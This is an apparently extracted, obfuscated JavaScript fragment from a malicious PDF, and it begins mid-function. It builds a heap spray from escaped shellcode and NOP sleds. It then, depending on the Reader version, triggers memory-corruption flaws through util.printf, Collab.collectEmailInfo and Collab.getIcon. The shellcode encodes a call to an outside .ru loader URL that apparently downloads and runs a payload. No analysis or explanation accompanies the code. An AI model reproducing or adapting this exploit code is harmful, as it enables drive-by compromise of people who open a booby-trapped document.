v2g = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var r48i = 0x400000;
var p57s = v2g.length * 2;
var i25i = r48i - (p57s + 0x38);
var x50u = unescape("%u9090%u9090");
x50u = p19c(x50u, i25i);
var m77h = (j36x - 0x400000) / r48i;
for (var v40l = 0; v40l < m77h; v40l ++ ){
e57i[v40l] = x50u + v2g;
}
}
function z30a(){
var t64g = app.viewerVersion.toString();
if (t64g > 8){
h40p(1);
var c95p = "12999999999999999999";
for (t70a = 0; t70a < 276; t70a ++ ){
c95p += "8";
}
util.printf("%45000f", c95p);
}
if (t64g < 8){
h40p(0);
var z10j = unescape("%u0c0c%u0c0c");
while (z10j.length < 44952)z10j += z10j;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : z10j});
}
if (t64g < 9.1)
{
if (app.doc.Collab.getIcon){
h40p(2);
var x94j = unescape("%09");
while (x94j.length < 0x4000)x94j += x94j;
x94j = "N." + x94j;
app.doc.Collab.getIcon(x94j);
}
}
}
z30a();

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